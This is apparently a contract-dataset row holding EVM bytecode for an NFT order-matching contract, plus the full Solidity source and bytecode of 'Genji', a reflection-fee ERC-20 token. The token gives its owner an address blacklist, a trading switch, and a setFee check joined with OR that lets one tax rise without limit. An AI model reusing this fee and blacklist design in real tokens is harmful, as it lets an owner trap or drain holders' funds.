80fd5b8101908080519060200190929190505050614a55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b600084600560068110614a6557fe5b60200201351115614c5a57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110614abb57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1687600260038110614ae357fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1687600560068110614b0b57fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015614bac57600080fd5b505af1158015614bc0573d6000803e3d6000fd5b505050506040513d6020811015614bd657600080fd5b8101908080519060200190929190505050614c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110614ca557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff163387600360068110614cce57fe5b602002013588600560068110614ce057fe5b602002013589600160068110614cf257fe5b602002013503036040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015614d9557600080fd5b505af1158015614da9573d6000803e3d6000fd5b505050506040513d6020811015614dbf57600080fd5b8101908080519060200190929190505050614e42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b600085600060038110614e5157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e3388600160038110614e9857fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600060068110614ec057fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015614f6157600080fd5b505af1158015614f75573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff1687600160038110614f9e57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7af98fd25900fbe0558c03ebae6ae325e236add5d6a001f3c05b77ce27b7048b88600160068110614ffd57fe5b60200201358960036006811061500f57fe5b60200201358a60056006811061502157fe5b60200201358c60026003811061503357fe5b602002013573ffffffffffffffffffffffffffffffffffffffff166000604051808681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019550505050505060405180910390a4505050505050505050565b600060405180806157d7606c9139606c0190506040518091039020836000600381106150e457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168360006006811061510c57fe5b60200201358460016006811061511e57fe5b60200201358560026006811061513057fe5b60200201358660036006811061514257fe5b60200201358860016003811061515457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168860046006811061517c57fe5b6020020135604051602001808981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200198505050505050505050604051602081830303815290604052805190602001209050600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b600060405180806155e56093913960930190506040518091039020836000600481106152b757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16836000600681106152df57fe5b6020020135846001600681106152f157fe5b60200201358560026006811061530357fe5b60200201358660036006811061531557fe5b60200201358860016004811061532757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168860046006811061534f57fe5b60200201358a60026004811061536157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a60056006811061538957fe5b6020020135604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a5050505050505050505050604051602081830303815290604052805190602001209050600160008083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b6000604051808061567860529139605201905060405180910390206040518060400160405280600881526020017f474f4c4f4d2e494f000000000000000000000000000000000000000000000000815250805190602001206040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525080519060200120600130604051602001808681526020018581526020018481526020018360ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001955050505050506040516020818303038152906040528051906020012090509056fe6d617463686f72646572286164647265737320746f6b656e416464726573732c75696e7420746f6b656e49642c75696e7420657468416d742c75696e7420646561646c696e652c75696e7420666565416d742c61646472657373207369676e65722c75696e742073616c742c6164647265737320726f79616c7479416464726573732c75696e7420726f79616c7479416d7429454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e7472616374296d617463686f66666572286164647265737320746f6b656e416464726573732c75696e7420657468616d742c75696e7420646561646c696e652c75696e7420666565416d742c61646472657373207369676e65722c75696e742073616c74296d617463686f72646572286164647265737320746f6b656e416464726573732c75696e7420746f6b656e49642c75696e7420657468416d742c75696e7420646561646c696e652c75696e7420666565416d742c61646472657373207369676e65722c75696e742073616c742c6164647265737320726f79616c7479416464726573732c75696e7420726f79616c7479416d742c61646472657373206f7264657246696c6c657241646472657373296d617463686f66666572286164647265737320746f6b656e416464726573732c75696e7420746f6b656e49642c75696e7420657468416d742c75696e7420646561646c696e652c75696e7420666565416d742c61646472657373207369676e65722c75696e742073616c7429a26469706673582212208bf895b8fc7edebffca788cf0e39d7ea0239fe70e511f73e7bb3139d2a63008364736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 2,495 |
0xca708d3c0f22a842ce31a62031ceadaa851618dd
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Genji is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Genji";
string private constant _symbol = "GNJI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 10;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 10;
uint256 private _taxFeeOnSell = 5;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610570578063dd62ed3e14610590578063ea1644d5146105d6578063f2fde38b146105f657600080fd5b8063a2a957bb146104eb578063a9059cbb1461050b578063bfd792841461052b578063c3c8cd801461055b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104685780638f9a55c01461048857806395d89b411461049e57806398a5c315146104cb57600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638203f5fe146104355780638da5cb5b1461044a57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101b65780631694505e1461027957806318160ddd146102b157806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024957600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b2d565b610616565b005b34801561021557600080fd5b5060408051808201909152600581526447656e6a6960d81b60208201525b6040516102409190611bf2565b60405180910390f35b34801561025557600080fd5b50610269610264366004611c47565b6106b5565b6040519015158152602001610240565b34801561028557600080fd5b50601354610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b50678ac7230489e800005b604051908152602001610240565b3480156102e257600080fd5b506102696102f1366004611c73565b6106cc565b34801561030257600080fd5b506102c860175481565b34801561031857600080fd5b5060405160098152602001610240565b34801561033457600080fd5b50601454610299906001600160a01b031681565b34801561035457600080fd5b50610207610363366004611cb4565b610735565b34801561037457600080fd5b50610207610383366004611ce1565b610780565b34801561039457600080fd5b506102076107c8565b3480156103a957600080fd5b506102c86103b8366004611cb4565b6107f5565b3480156103c957600080fd5b50610207610817565b3480156103de57600080fd5b506102076103ed366004611cfc565b61088b565b3480156103fe57600080fd5b506102c860155481565b34801561041457600080fd5b506102c8610423366004611cb4565b60116020526000908152604090205481565b34801561044157600080fd5b506102076108cd565b34801561045657600080fd5b506000546001600160a01b0316610299565b34801561047457600080fd5b50610207610483366004611ce1565b610a85565b34801561049457600080fd5b506102c860165481565b3480156104aa57600080fd5b50604080518082019091526004815263474e4a4960e01b6020820152610233565b3480156104d757600080fd5b506102076104e6366004611cfc565b610ae4565b3480156104f757600080fd5b50610207610506366004611d15565b610b13565b34801561051757600080fd5b50610269610526366004611c47565b610b6d565b34801561053757600080fd5b50610269610546366004611cb4565b60106020526000908152604090205460ff1681565b34801561056757600080fd5b50610207610b7a565b34801561057c57600080fd5b5061020761058b366004611d47565b610bb0565b34801561059c57600080fd5b506102c86105ab366004611dcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e257600080fd5b506102076105f1366004611cfc565b610c51565b34801561060257600080fd5b50610207610611366004611cb4565b610c80565b6000546001600160a01b031633146106495760405162461bcd60e51b815260040161064090611e04565b60405180910390fd5b60005b81518110156106b15760016010600084848151811061066d5761066d611e39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a981611e65565b91505061064c565b5050565b60006106c2338484610d6a565b5060015b92915050565b60006106d9848484610e8e565b61072b843361072685604051806060016040528060288152602001611f7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113ca565b610d6a565b5060019392505050565b6000546001600160a01b0316331461075f5760405162461bcd60e51b815260040161064090611e04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107aa5760405162461bcd60e51b815260040161064090611e04565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107e857600080fd5b476107f281611404565b50565b6001600160a01b0381166000908152600260205260408120546106c69061143e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161064090611e04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161064090611e04565b6611c37937e0800081116108c857600080fd5b601555565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161064090611e04565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561095c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109809190611e80565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611e80565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a629190611e80565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b815260040161064090611e04565b601454600160a01b900460ff1615610ac657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161064090611e04565b601755565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161064090611e04565b60095482111580610b505750600b548111155b610b5957600080fd5b600893909355600a91909155600955600b55565b60006106c2338484610e8e565b6012546001600160a01b0316336001600160a01b031614610b9a57600080fd5b6000610ba5306107f5565b90506107f2816114c2565b6000546001600160a01b03163314610bda5760405162461bcd60e51b815260040161064090611e04565b60005b82811015610c4b578160056000868685818110610bfc57610bfc611e39565b9050602002016020810190610c119190611cb4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4381611e65565b915050610bdd565b50505050565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b815260040161064090611e04565b601655565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161064090611e04565b6001600160a01b038116610d0f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610640565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610640565b6001600160a01b038216610e2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610640565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610640565b6001600160a01b038216610f545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610640565b60008111610fb65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610640565b6000546001600160a01b03848116911614801590610fe257506000546001600160a01b03838116911614155b156112c357601454600160a01b900460ff1661107b576000546001600160a01b0384811691161461107b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610640565b6015548111156110cd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610640565b6001600160a01b03831660009081526010602052604090205460ff1615801561110f57506001600160a01b03821660009081526010602052604090205460ff16155b6111675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610640565b6014546001600160a01b038381169116146111ec5760165481611189846107f5565b6111939190611e9d565b106111ec5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610640565b60006111f7306107f5565b6017546015549192508210159082106112105760155491505b8080156112275750601454600160a81b900460ff16155b801561124157506014546001600160a01b03868116911614155b80156112565750601454600160b01b900460ff165b801561127b57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a057506001600160a01b03841660009081526005602052604090205460ff16155b156112c0576112ae826114c2565b4780156112be576112be47611404565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130557506001600160a01b03831660009081526005602052604090205460ff165b8061133757506014546001600160a01b0385811691161480159061133757506014546001600160a01b03848116911614155b15611344575060006113be565b6014546001600160a01b03858116911614801561136f57506013546001600160a01b03848116911614155b1561138157600854600c55600954600d555b6014546001600160a01b0384811691161480156113ac57506013546001600160a01b03858116911614155b156113be57600a54600c55600b54600d555b610c4b8484848461163c565b600081848411156113ee5760405162461bcd60e51b81526004016106409190611bf2565b5060006113fb8486611eb5565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b1573d6000803e3d6000fd5b60006006548211156114a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610640565b60006114af61166a565b90506114bb838261168d565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150a5761150a611e39565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611563573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115879190611e80565b8160018151811061159a5761159a611e39565b6001600160a01b0392831660209182029290920101526013546115c09130911684610d6a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f9908590600090869030904290600401611ecc565b600060405180830381600087803b15801561161357600080fd5b505af1158015611627573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611649576116496116cf565b6116548484846116fd565b80610c4b57610c4b600e54600c55600f54600d55565b60008060006116776117f4565b9092509050611686828261168d565b9250505090565b60006114bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611834565b600c541580156116df5750600d54155b156116e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061170f87611862565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174190876118bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117709086611901565b6001600160a01b03891660009081526002602052604090205561179281611960565b61179c84836119aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e191815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061180f828261168d